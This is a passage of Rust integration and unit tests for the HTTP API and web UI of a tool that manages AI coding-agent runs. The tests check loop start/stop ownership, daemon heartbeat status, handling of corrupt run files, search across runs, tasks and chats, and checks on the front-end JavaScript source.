18656        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18657        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18658
18659        let mut task = Task::new(
18660            "closed with nothing actually landed".to_owned(),
18661            "x".to_owned(),
18662            PathBuf::from("/repo/magi"),
18663            Source::Human,
18664        );
18665        task.runs.push("20260101-000000-dob1".to_owned());
18666        task.runs.push("20260101-000000-dob2".to_owned());
18667        queue.put(&mut task).expect("file the task");
18668
18669        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18670        assert_eq!(done.status, 200, "{}", done.body);
18671
18672        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18673            .expect("run still on disk under this fixture's own home");
18674        assert_eq!(
18675            reloaded_run.status,
18676            RunStatus::Blocked,
18677            "the last recorded attempt never landed, so the earlier one must not be \
18678             relabelled as superseded by it"
18679        );
18680    }
18681
18682    #[tokio::test]
18683    async fn unknown_ids_are_json_not_found_on_both_stores() {
18684        let f = Fixture::start().await;
18685
18686        let run = f.get("/api/runs/nosuchrun").await;
18687        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18688
18689        assert_eq!(run.status, 404);
18690        assert_eq!(task.status, 404);
18691        assert!(
18692            run.json()["error"]
18693                .as_str()
18694                .is_some_and(|e| e.contains("run")),
18695            "the error names what was not found: {}",
18696            run.body
18697        );
18698        assert!(
18699            task.json()["error"]
18700                .as_str()
18701                .is_some_and(|e| e.contains("task")),
18702            "the error names what was not found: {}",
18703            task.body
18704        );
18705    }
18706
18707    #[tokio::test]
18708    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18709        let f = Fixture::start().await;
18710
18711        let missing = f.get("/api/health").await.json();
18712        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18713
18714        write_daemon(
18715            f.home.path(),
18716            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18717        );
18718        let stale = f.get("/api/health").await.json();
18719        assert_eq!(
18720            stale["daemon"]["running"], false,
18721            "a minute without a heartbeat is a dead daemon, not a busy one"
18722        );
18723        assert!(
18724            stale["daemon"]["stale_for_secs"]
18725                .as_i64()
18726                .is_some_and(|s| s >= 55),
18727            "staleness is reported so the UI can say how long: {stale}"
18728        );
18729
18730        write_daemon(f.home.path(), Timestamp::now());
18731        let fresh = f.get("/api/health").await.json();
18732        assert_eq!(fresh["daemon"]["running"], true);
18733        assert_eq!(fresh["daemon"]["idle"], false);
18734        assert_eq!(fresh["daemon"]["pid"], 4242);
18735        assert_eq!(fresh["daemon"]["completed"], 7);
18736        assert_eq!(
18737            fresh["daemon"]["current"][0]["task"],
18738            "20260902-140501-aaaa"
18739        );
18740        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18741    }
18742
18743    #[tokio::test]
18744    async fn the_loop_is_not_running_until_something_starts_it() {
18745        let f = Fixture::start().await;
18746
18747        let view = f.get("/api/loop").await.json();
18748        assert_eq!(view["running"], false);
18749        assert_eq!(
18750            view["owned"], false,
18751            "nobody owns a loop that does not exist: {view}"
18752        );
18753        assert_eq!(view["stopping"], false);
18754        assert_eq!(view["last_error"], Value::Null);
18755        assert_eq!(view["daemon"]["running"], false);
18756        assert_eq!(
18757            view["repo"], "/repo/magi",
18758            "the repository a start would use, named before it is started"
18759        );
18760    }
18761
18762    #[tokio::test]
18763    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18764        let f = Fixture::start().await;
18765
18766        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18767        assert_eq!(res.status, 200, "{}", res.body);
18768        let view = res.json();
18769        assert_eq!(view["running"], true);
18770        assert_eq!(
18771            view["owned"], true,
18772            "the loop the UI started is the UI's own to stop: {view}"
18773        );
18774        assert_eq!(
18775            view["merge"],
18776            Value::Null,
18777            "no override was given, so each repository's own config decides"
18778        );
18779
18780        // The same object from the route a waking phone polls first. Two
18781        // surfaces disagreeing about whether anything is running is exactly
18782        // the confusion this UI exists to remove.
18783        let health = f.get("/api/health").await.json();
18784        assert_eq!(health["loop"]["running"], true, "{health}");
18785        assert_eq!(health["loop"]["owned"], true, "{health}");
18786
18787        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18788    }
18789
18790    #[tokio::test]
18791    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18792        let f = Fixture::start().await;
18793        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18794        assert_eq!(first.status, 200, "{}", first.body);
18795
18796        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18797        assert_eq!(
18798            again.status, 409,
18799            "two loops on one queue race for the same claims: {}",
18800            again.body
18801        );
18802        assert!(
18803            again.json()["error"]
18804                .as_str()
18805                .is_some_and(|e| e.contains("already running the loop")),
18806            "the refusal has to say why: {}",
18807            again.body
18808        );
18809        assert_eq!(
18810            f.get("/api/loop").await.json()["running"],
18811            true,
18812            "and the loop that was already running is untouched by it"
18813        );
18814
18815        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18816    }
18817
18818    #[tokio::test]
18819    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18820        let f = Fixture::start().await;
18821        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18822
18823        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18824        assert_eq!(
18825            res.status, 200,
18826            "the answer must not wait for the loop: a run in flight is tens of \
18827             minutes and the operator is holding a phone: {}",
18828            res.body
18829        );
18830
18831        let view = settled(&f, |v| v["running"] == false).await;
18832        assert_eq!(view["owned"], false);
18833        assert_eq!(
18834            view["stopping"], false,
18835            "a loop that has stopped is not still stopping: {view}"
18836        );
18837        assert_eq!(
18838            view["last_error"],
18839            Value::Null,
18840            "a loop that was asked to stop did not fail: {view}"
18841        );
18842
18843        // Idempotent, because the operator cannot tell a slow stop from a lost
18844        // one and will press it again.
18845        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18846        assert_eq!(twice.status, 200, "{}", twice.body);
18847    }
18848
18849    #[tokio::test]
18850    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18851        let f = Fixture::start().await;
18852        // How the operator has been doing it: a `magi serve` of their own,
18853        // heartbeat fresh, in the same home this UI reads.
18854        write_daemon(f.home.path(), Timestamp::now());
18855
18856        let view = f.get("/api/loop").await.json();
18857        assert_eq!(view["running"], false, "not in this process: {view}");
18858        assert_eq!(view["owned"], false, "and not this process's to control");
18859        assert_eq!(
18860            view["daemon"]["running"], true,
18861            "but a loop is alive somewhere, which is what the UI must say"
18862        );
18863        assert_eq!(view["daemon"]["pid"], 4242);
18864
18865        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18866            let res = f.post("/api/loop", Some(body)).await;
18867            assert_eq!(
18868                res.status, 409,
18869                "neither button may pretend to work on someone else's loop: {}",
18870                res.body
18871            );
18872            assert!(
18873                res.json()["error"]
18874                    .as_str()
18875                    .is_some_and(|e| e.contains("4242")),
18876                "the refusal has to name the process the operator must go to: {}",
18877                res.body
18878            );
18879        }
18880        assert_eq!(
18881            f.get("/api/loop").await.json()["running"],
18882            false,
18883            "and the refusal started nothing"
18884        );
18885    }
18886
18887    #[tokio::test]
18888    async fn a_stale_status_file_is_not_a_foreign_owner() {
18889        let f = Fixture::start().await;
18890        write_daemon(
18891            f.home.path(),
18892            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18893        );
18894
18895        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18896        assert_eq!(
18897            res.status, 200,
18898            "a daemon killed a minute ago must not lock the loop out of its \
18899             own home for good: {}",
18900            res.body
18901        );
18902        assert_eq!(res.json()["running"], true);
18903
18904        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18905    }
18906
18907    #[tokio::test]
18908    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18909        let f = Fixture::start().await;
18910        let before = f.get("/api/health").await.json()["loop_rev"]
18911            .as_u64()
18912            .expect("a loop revision");
18913
18914        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18915
18916        let after = f.get("/api/health").await.json()["loop_rev"]
18917            .as_u64()
18918            .expect("a loop revision");
18919        assert!(
18920            after > before,
18921            "the loop is in-process state, so this counter is the only thing \
18922             that tells a second device the first one started it: {before} -> \
18923             {after}"
18924        );
18925
18926        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18927    }
18928
18929    #[tokio::test]
18930    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18931        let f = Fixture::with_loop(launch_broken).await;
18932
18933        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18934        assert_eq!(
18935            res.status, 200,
18936            "starting it is not the failure: {}",
18937            res.body
18938        );
18939
18940        let view = settled(&f, |v| v["last_error"].is_string()).await;
18941        assert_eq!(
18942            view["running"], false,
18943            "a loop that died must not read as running, or the operator has \
18944             nothing to press: {view}"
18945        );
18946        assert_eq!(view["owned"], false);
18947        assert!(
18948            view["last_error"]
18949                .as_str()
18950                .is_some_and(|e| e.contains("read-only file system")),
18951            "the phone is where a loop that died at 3am is visible: {view}"
18952        );
18953
18954        // And it can be started again: the corpse was reaped, not left to
18955        // occupy the slot.
18956        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18957        assert_eq!(again.status, 200, "{}", again.body);
18958        assert!(
18959            again.json()["last_error"]
18960                .as_str()
18961                .is_none_or(|e| !e.contains("read-only file system")),
18962            "a fresh start does not keep showing why the last one died: {}",
18963            again.body
18964        );
18965    }
18966
18967    #[tokio::test]
18968    async fn a_newer_daemon_status_file_still_renders() {
18969        let f = Fixture::start().await;
18970        // A field this build has never heard of must not turn the status line
18971        // into a 500; that is the whole reason the reader is permissive.
18972        std::fs::write(
18973            f.home.path().join("daemon.json"),
18974            serde_json::json!({
18975                "schema": 2,
18976                "updated_at": Timestamp::now().to_string(),
18977                "idle": true,
18978                "surprise": { "nested": [1, 2, 3] },
18979            })
18980            .to_string(),
18981        )
18982        .expect("write daemon.json");
18983
18984        let health = f.get("/api/health").await;
18985
18986        assert_eq!(health.status, 200);
18987        assert_eq!(health.json()["daemon"]["running"], true);
18988    }
18989
18990    #[tokio::test]
18991    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18992        let f = Fixture::start().await;
18993        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18994        let broken = f.runs().join("20260902-140502-bad");
18995        std::fs::create_dir_all(&broken).expect("run dir");
18996        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18997
18998        let list = f.get("/api/runs").await;
18999        let detail = f.get("/api/runs/20260902-140502-bad").await;
19000
19001        assert_eq!(list.status, 200);
19002        let listed = list.json();
19003        let ids: Vec<&str> = listed
19004            .as_array()
19005            .expect("an array")
19006            .iter()
19007            .map(|r| r["id"].as_str().expect("an id"))
19008            .collect();
19009        assert_eq!(
19010            ids,
19011            vec!["20260902-140501-good"],
19012            "one unreadable run must not cost the operator the whole history"
19013        );
19014        assert_eq!(detail.status, 500);
19015        assert!(
19016            detail.json()["error"]
19017                .as_str()
19018                .is_some_and(|e| e.contains("run.json")),
19019            "the failure names the file to look at: {}",
19020            detail.body
19021        );
19022        // A skipped run has to be countable somewhere, or the UI shows an
19023        // empty history with nothing to explain it - which is exactly what a
19024        // directory full of older-schema runs looks like.
19025        let health = f.get("/api/health").await;
19026        assert_eq!(health.json()["runs_unreadable"], 1);
19027    }
19028
19029    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19030    #[tokio::test]
19031    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19032        let f = Fixture::start().await;
19033        let runs = f.runs();
19034        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19035        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19036        // Text three levels down, in a shape no current RunState has: an older
19037        // schema must still search.
19038        let path = runs.join("20260902-140502-bbbb").join("run.json");
19039        let mut v: serde_json::Value =
19040            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19041        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19042        std::fs::write(&path, v.to_string()).unwrap();
19043        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19044        std::fs::write(
19045            runs.join("20260902-140503-cccc").join("run.json"),
19046            "{ not json",
19047        )
19048        .unwrap();
19049
19050        let res = f.get("/api/search?scope=runs&q=quokka").await;
19051        assert_eq!(res.status, 200, "{}", res.body);
19052        let v = res.json();
19053        assert_eq!(v["total"], 1, "{v}");
19054        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19055        assert_eq!(v["hits"][0]["field"], "text");
19056        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19057        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19058        assert!(
19059            parts
19060                .iter()
19061                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19062            "{v}"
19063        );
19064        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19065        assert_eq!(
19066            flat, "The Quokka leaks across threads",
19067            "whitespace is collapsed"
19068        );
19069
19070        // Terms are ANDed, across different fields, case-insensitively.
19071        let both = f
19072            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19073            .await
19074            .json();
19075        assert_eq!(both["total"], 1, "{both}");
19076        let neither = f
19077            .get("/api/search?scope=runs&q=quokka%20zebra")
19078            .await
19079            .json();
19080        assert_eq!(neither["total"], 0, "{neither}");
19081        // Everything in the task statement is reachable, not only the row text.
19082        let stmt = f
19083            .get("/api/search?scope=runs&q=mobile%20first")
19084            .await
19085            .json();
19086        assert_eq!(stmt["total"], 2, "{stmt}");
19087        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19088        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19089    }
19090
19091    #[test]
19092    fn snippet_ignores_terms_longer_than_the_field() {
19093        let terms = ["ok".to_owned(), "elephant".to_owned()];
19094        let parts = snippet_of("ok", &terms);
19095        assert_eq!(
19096            parts,
19097            vec![SnippetPart {
19098                text: "ok".to_owned(),
19099                hit: true
19100            }]
19101        );
19102    }
19103
19104    #[test]
19105    fn snippet_marks_matches_longer_than_the_window() {
19106        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19107        let hit_len = |parts: &[SnippetPart]| -> usize {
19108            parts
19109                .iter()
19110                .filter(|p| p.hit)
19111                .map(|p| p.text.chars().count())
19112                .sum()
19113        };
19114        let total =
19115            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19116
19117        let long = "a".repeat(120);
19118        let parts = snippet_of(&long, std::slice::from_ref(&long));
19119        assert!(hit_len(&parts) > 0, "{parts:?}");
19120        assert!(total(&parts) <= cap);
19121
19122        let ja = "あ".repeat(130);
19123        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19124        assert!(hit_len(&parts) > 0, "{parts:?}");
19125        assert!(total(&parts) <= cap);
19126
19127        // A short hit, then one straddling the window's end.
19128        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19129        let term = format!("ab{}", "c".repeat(100));
19130        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19131        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19132        assert!(total(&parts) <= cap);
19133
19134        // Only the head matches: not highlighted.
19135        let text = format!("{}z", "a".repeat(119));
19136        let parts = snippet_of(&text, &["a".repeat(120)]);
19137        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19138    }
19139
19140    #[tokio::test]
19141    async fn search_caps_hits_and_snippet_length() {
19142        let f = Fixture::start().await;
19143        let runs = f.runs();
19144        for n in 0..(SEARCH_MAX_HITS + 5) {
19145            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19146        }
19147        let v = f.get("/api/search?scope=runs&q=web").await.json();
19148        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19149        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19150        assert_eq!(v["truncated"], true);
19151        // Every listed run hit carries its list row for the page's filters.
19152        assert!(
19153            v["hits"]
19154                .as_array()
19155                .unwrap()
19156                .iter()
19157                .all(|h| h["run"]["status"] == "merged")
19158        );
19159
19160        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19161        let parts = snippet_of(&long, &["needle".to_owned()]);
19162        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19163        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19164        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19165    }
19166
19167    #[tokio::test]
19168    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19169        let f = Fixture::start().await;
19170        let queue = f.queue();
19171        let mut t = Task::new(
19172            "short title".to_owned(),
19173            "line one\nthe hidden Armadillo detail".to_owned(),
19174            PathBuf::from("/repo/magi"),
19175            Source::Agent {
19176                run: "r1".to_owned(),
19177                node: "chat".to_owned(),
19178            },
19179        );
19180        t.last_error = Some("disk full on /tmp".to_owned());
19181        queue.put(&mut t).expect("file the task");
19182
19183        for (q, want) in [
19184            ("armadillo", 1),
19185            ("disk%20FULL", 1),
19186            ("chat", 1),
19187            ("queued", 1),
19188            ("short%20nothing", 0),
19189        ] {
19190            let v = f
19191                .get(&format!("/api/search?scope=tasks&q={q}"))
19192                .await
19193                .json();
19194            assert_eq!(v["total"], want, "{q}: {v}");
19195        }
19196        for bad in [
19197            "/api/search?scope=tasks&q=",
19198            "/api/search?scope=tasks&q=%20",
19199            "/api/search?scope=chats&q=",
19200            "/api/search?scope=chats&q=%20",
19201            "/api/search?scope=nope&q=a",
19202            "/api/search?q=a",
19203        ] {
19204            assert_eq!(f.get(bad).await.status, 400, "{bad}");
19205        }
19206    }
19207
19208    /// Write one conversation file the way the store reads it back.
19209    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19210        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19211            .expect("seat value");
19212        let turns: Vec<serde_json::Value> = turns
19213            .iter()
19214            .map(|(who, body)| {
19215                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19216            })
19217            .collect();
19218        let doc = serde_json::json!({
19219            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19220            "status": status, "turns": turns,
19221            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19222            "seat": seat,
19223        });
19224        let dir = f.home.path().join("talks");
19225        std::fs::create_dir_all(&dir).expect("talks dir");
19226        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19227    }
19228
19229    #[test]
19230    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19231        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19232            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19233            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19234            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19235            "seat": crate::agent::SeatState::new("talk", "test", 1)
19236        })).unwrap();
19237        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19238        talk.title = Some(talk::ChatTitle {
19239            text: "最近の話題".into(),
19240            source: talk::TitleSource::Generated,
19241        });
19242        let doc = talk_search_doc(&talk);
19243        assert_eq!(doc["title"], "最近の話題");
19244        assert_eq!(doc["turns"][0]["operator"], "古い話題");
19245        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19246        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19247    }
19248
19249    #[test]
19250    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19251        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19252        talk.title = Some(talk::ChatTitle {
19253            text: "Saved title".into(),
19254            source: talk::TitleSource::Manual,
19255        });
19256        talk.turns = serde_json::from_value(serde_json::json!([
19257            {
19258                "who": "operator", "sender": "external", "body": "External plain",
19259                "at": "2026-09-08T20:58:02Z"
19260            },
19261            {
19262                "who": "operator", "body": "External message",
19263                "at": "2026-09-08T20:58:03Z",
19264                "messages": [{
19265                    "sender": "external", "body": "External message", "attachments": []
19266                }]
19267            }
19268        ]))
19269        .unwrap();
19270        let doc = talk_search_doc(&talk);
19271        assert_eq!(doc["turns"][0]["external"], "External plain");
19272        assert_eq!(doc["turns"][1]["external"], "External message");
19273        assert!(doc["turns"][0].get("operator").is_none());
19274        assert!(doc["turns"][1].get("operator").is_none());
19275        let hit = search_chat(&search_terms("message"), &talk).unwrap();
19276        assert_eq!(hit.field, "external");
19277        let target = hit.target.unwrap();
19278        assert_eq!((target.turn, target.message), (1, 0));
19279    }
19280
19281    #[test]
19282    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19283        let talk: Talk = serde_json::from_value(serde_json::json!({
19284            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19285            "status": "open", "title": {"text":"Saved title", "source":"manual"},
19286            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19287                "messages":[{"body":"First message", "attachments":[], "reply":null},
19288                            {"body":"Search 運用", "attachments":[], "reply":null}]},
19289                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19290            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19291            "seat": crate::agent::SeatState::new("talk", "test", 1)
19292        })).unwrap();
19293        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19294        let target = hit.target.unwrap();
19295        assert_eq!((target.turn, target.message), (0, 1));
19296        assert_eq!(target.text, chat_text_key("Search 運用"));
19297        assert_eq!(
19298            hit.snippet,
19299            snippet_of("Search 運用", &search_terms("運用 Another"))
19300        );
19301        assert!(
19302            search_chat(&search_terms("Saved"), &talk)
19303                .unwrap()
19304                .target
19305                .is_none()
19306        );
19307        assert!(
19308            search_chat(&search_terms("ab12"), &talk)
19309                .unwrap()
19310                .target
19311                .is_none()
19312        );
19313        // All terms may still match across separate display rows.
19314        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19315        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19316    }
19317
19318    #[test]
19319    fn chat_search_targets_opener_derived_titles() {
19320        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19321            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19322            "status": "open", "turns": [
19323                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19324                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19325                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19326            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19327            "seat": crate::agent::SeatState::new("talk", "test", 1)
19328        }))
19329        .unwrap();
19330        let terms = search_terms("運用");
19331        let hit = search_chat(&terms, &talk).unwrap();
19332        assert_eq!(hit.field, "title");
19333        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19334        let target = hit.target.unwrap();
19335        assert_eq!((target.turn, target.message), (1, 0));
19336        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19337        // A blank first send can put the opener line in a later display row.
19338        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19339            {"body":"", "attachments":[], "reply":null},
19340            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19341        ]))
19342        .unwrap();
19343        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19344        assert_eq!((target.turn, target.message), (1, 1));
19345        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19346        talk.title = Some(talk::ChatTitle {
19347            text: "運用について".into(),
19348            source: talk::TitleSource::Manual,
19349        });
19350        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19351    }
19352
19353    #[tokio::test]
19354    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19355        let f = Fixture::start().await;
19356        write_talk(
19357            &f,
19358            "20260901-000001-aaaa",
19359            "open",
19360            &[
19361                (
19362                    "operator",
19363                    "\n  Why does the Pangolin cache expire?\nsecond line",
19364                ),
19365                ("agent", "Because the TTL is thirty seconds."),
19366            ],
19367        );
19368        write_talk(
19369            &f,
19370            "20260901-000002-bbbb",
19371            "closed",
19372            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19373        );
19374        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19375
19376        let search = |q: &'static str| {
19377            let f = &f;
19378            async move {
19379                f.get(&format!("/api/search?scope=chats&q={q}"))
19380                    .await
19381                    .json()
19382            }
19383        };
19384
19385        let v = search("PANGOLIN").await;
19386        assert_eq!(v["scope"], "chats");
19387        assert_eq!(v["total"], 1, "{v}");
19388        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19389        assert_eq!(v["hits"][0]["field"], "title");
19390        assert_eq!(v["unreadable"], 1, "{v}");
19391        let marked: Vec<&str> = v["hits"][0]["snippet"]
19392            .as_array()
19393            .unwrap()
19394            .iter()
19395            .filter(|p| p["hit"] == true)
19396            .map(|p| p["text"].as_str().unwrap())
19397            .collect();
19398        assert_eq!(marked, ["Pangolin"]);
19399
19400        // An agent turn, in a closed conversation.
19401        let v = search("zebra").await;
19402        assert_eq!(v["total"], 1, "{v}");
19403        assert_eq!(v["hits"][0]["field"], "agent");
19404        // Words may sit in different turns; all must be present.
19405        assert_eq!(search("pangolin%20thirty").await["total"], 1);
19406        assert_eq!(search("pangolin%20zebra").await["total"], 0);
19407        // Bookkeeping is not searched.
19408        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19409            assert_eq!(search(q).await["total"], 0, "{q}");
19410        }
19411        // The first line only is the title; the second line is still a turn.
19412        assert_eq!(search("second").await["hits"][0]["field"], "operator");
19413        // Open conversations are listed before closed ones.
19414        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19415
19416        let v = f.get("/api/search?scope=nope&q=a").await;
19417        assert_eq!(v.status, 400);
19418        assert!(
19419            v.body.contains("scope must be runs, tasks or chats"),
19420            "{}",
19421            v.body
19422        );
19423    }
19424
19425    #[test]
19426    fn a_question_card_links_a_task_id_to_the_task_page() {
19427        let start = APP_JS
19428            .find("function updateAskCard(")
19429            .expect("updateAskCard exists");
19430        let body = &APP_JS[start..];
19431        let body = &body[..body.find("\n}\n").expect("function end")];
19432        assert!(body.contains("question.run_is_task"));
19433        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19434        assert!(body.contains("`#/runs/${question.run}`"));
19435        assert!(body.contains("\"task\" : \"run\""));
19436    }
19437
19438    #[test]
19439    fn plain_text_message_surfaces_go_through_linkify() {
19440        assert!(APP_JS.contains("function linkify("));
19441        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19442        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19443        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19444        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19445        assert!(!APP_JS.contains("innerHTML = text"));
19446    }
19447
19448    #[test]
19449    fn implementation_rate_views_keep_independent_samples() {
19450        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19451            let a = stats::AgentStats {
19452                competitive_entered: competitive_n,
19453                competitive_wins: usize::from(competitive_n > 0),
19454                solo_entered: solo_n,
19455                solo_adopted: 2 * usize::from(solo_n > 0),
19456                ..Default::default()
19457            };
19458            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19459            for (key, n, numerator) in [
19460                ("competitive_win_rate", competitive_n, a.competitive_wins),
19461                ("solo_adoption_rate", solo_n, a.solo_adopted),
19462            ] {
19463                if n == 0 {
19464                    assert!(v[key].is_null());
19465                } else {
19466                    assert_eq!(v[key]["denominator"], n);
19467                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19468                }
19469            }
19470        }
19471        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19472        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19473        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19474        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19475    }
19476
19477    #[test]
19478    fn stats_bars_share_one_id_keyed_plan() {
19479        let start = APP_JS
19480            .find("function statsBarRows(")
19481            .expect("statsBarRows exists");
19482        let body = &APP_JS[start..];
19483        let body = &body[..body.find("\n}\n").expect("function end")];
19484        assert!(body.contains("statsBarPlan(rows)"));
19485        assert!(body.contains("statsAgentTone(row.agent)"));
19486        assert!(!body.contains("candTone(i)"));
19487        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19488        for root in [
19489            "stats-agents-bars",
19490            "stats-solo-bars",
19491            "stats-reviewers-bars",
19492        ] {
19493            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19494        }
19495    }
19496
19497    #[test]
19498    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19499        let start = APP_JS
19500            .find("function renderStatsReviewerScatter(")
19501            .expect("renderStatsReviewerScatter exists");
19502        let body = &APP_JS[start..];
19503        let body = &body[..body.find("\n}\n").expect("function end")];
19504        assert!(body.contains("statsScatterPlan(reviewers)"));
19505        assert!(body.contains("statsAgentTone(d.agent)"));
19506        assert!(APP_JS.contains("function statsScatterPlan("));
19507        assert!(
19508            APP_JS.contains("d.submitted < STATS_LOW_N")
19509                || APP_JS.contains("r.submitted < STATS_LOW_N")
19510        );
